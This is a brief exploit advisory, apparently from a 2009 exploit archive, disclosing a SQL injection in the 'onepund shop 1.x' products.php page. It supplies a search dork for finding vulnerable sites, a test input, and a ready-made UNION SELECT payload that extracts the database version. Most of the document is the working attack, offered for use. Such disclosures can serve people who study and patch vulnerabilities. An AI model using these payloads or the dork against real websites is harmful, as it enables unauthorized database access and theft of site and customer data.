#################################################################
# _______ _________ _ #
# ( ____ )\__ __/( ( /| #
# | ( )| ) ( | \ ( | #
# | (____)| | | | \ | | #
# | __) | | | (\ \) | #
# | (\ ( | | | | \ | #
# | ) \ \__ | | | ) \ | #
# |/ \__/ )_( |/ )_) #
# http://root-the.net #
#################################################################
#[+] onepund shop 1.x products.php SQL Injection Vulnerability #
#[+] Vendor : onepound.cn <ttp://www.onepound.cn/> #
#[+] Exploit : Affix <root@root-the.net> #
#[+] Greetz : Mad-Hatter, Atomiku, RTN, Terogen, SCD, Boxhead, #
# str0ke, tekto, SonicX, Android, tw0 #
#[+] dork : "Powered by OnePound" #
#################################################################
Example :
http://site.com/products.php?id='
Demo :
http://site.com/products.php?id=-9+UNION+SELECT+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13--
# milw0rm.com [2009-07-13]
